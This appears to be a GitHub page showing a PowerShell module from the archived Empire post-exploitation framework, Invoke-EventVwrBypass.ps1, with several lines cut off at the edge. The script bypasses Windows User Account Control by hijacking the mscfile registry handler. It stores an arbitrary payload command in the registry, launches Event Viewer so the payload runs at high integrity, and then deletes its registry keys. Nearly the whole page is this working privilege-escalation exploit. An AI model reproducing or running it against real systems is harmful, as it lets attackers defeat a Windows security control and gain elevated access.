Sign in

This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

EmpireProject / **Empire** Public archive

Notifications Fork 2.8k Star 7.4k

Code Issues 64 Pull requests 37 Actions Projects Wiki Security Insig

Empire / data / module_source / privesc / **Invoke-EventVwrBypass.ps1**

110 lines (89 loc) · 4.65 KB

Code Blame Raw

```powershell
function Invoke-EventVwrBypass {
<#
.SYNOPSIS

Bypasses UAC by performing an image hijack on the .msc file extension
Expected to work on Win7, 8.1 and Win10

Only tested on Windows 7 and Windows 10

Author: Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.PARAMETER Command

 Specifies the command you want to run in a high-integrity context. For example, you can pass it po

.EXAMPLE

Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBI

This will write out "Is Elevated: True" to C:\UACBypassTest.

```

```
#>

    [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
    Param (
        [Parameter(Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Command,

        [Switch]
        $Force
    )
    $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Sys
    $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Polici

    if(($(whoami /groups) -like "*S-1-5-32-544*").length -eq 0) {
        "[!] Current user not a local administrator!"
        Throw ("Current user not a local administrator!")
    }
    if (($(whoami /groups) -like "*S-1-16-8192*").length -eq 0) {
        "[!] Not in a medium integrity process!"
        Throw ("Not in a medium integrity process!")
    }

    if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){
        "UAC is set to 'Always Notify'. This module does not bypass this setting."
        exit
    }
    else{
        #Begin Execution

        #Store the payload (due to eventvwr.exe length restrictions)
        $RegPath = 'HKCU:Software\Microsoft\Windows\Update'
        $parts = $RegPath.split('\');
        $path = $RegPath.split("\")[0..($parts.count -2)] -join '\';
        $name = $parts[-1];
        $null = Set-ItemProperty -Force -Path $path -Name $name -Value $Command;

        $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
        $launcherCommand = $pshome + '\' + 'powershell.exe -NoP -NonI -c $x=$((gp HKCU:Software\Mic
        #Add in the new registry entries to hijack the msc file
        if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction Sile
            New-Item $mscCommandPath -Force |
                New-ItemProperty -Name '(Default)' -Value $launcherCommand -PropertyType string -Fo
        }else{
            Write-Warning "Key already exists, consider using -Force"
            exit
        }

        if (Test-Path $mscCommandPath) {
            Write-Verbose "Created registry entries to hijack the msc extension"
        }else{
            Write-Warning "Failed to create registry key, exiting"
            exit
        }

        $EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventv
        #Start Event Viewer
        if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
            $Process = Start-Process -FilePath $EventvwrPath -PassThru
            Write-Verbose "Started eventvwr.exe"
        }

        #Sleep 5 seconds
        Write-Verbose "Sleeping 5 seconds to trigger payload"
        if (-not $PSBoundParameters['WhatIf']) {
            Start-Sleep -Seconds 5
        }

        $mscfilePath = 'HKCU:\Software\Classes\mscfile'
        $PayloadPath = 'HKCU:Software\Microsoft\Windows'
        $PayloadKey = "Update"

        if (Test-Path $mscfilePath) {
            #Remove the registry entry
            Remove-Item $mscfilePath -Recurse -Force
            Remove-ItemProperty -Force -Path $PayloadPath -Name $PayloadKey
            Write-Verbose "Removed registry entries"
        }

        if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
            Stop-Process -Id $Process.Id
            Write-Verbose "Killed running eventvwr process"
        }
    }
}
```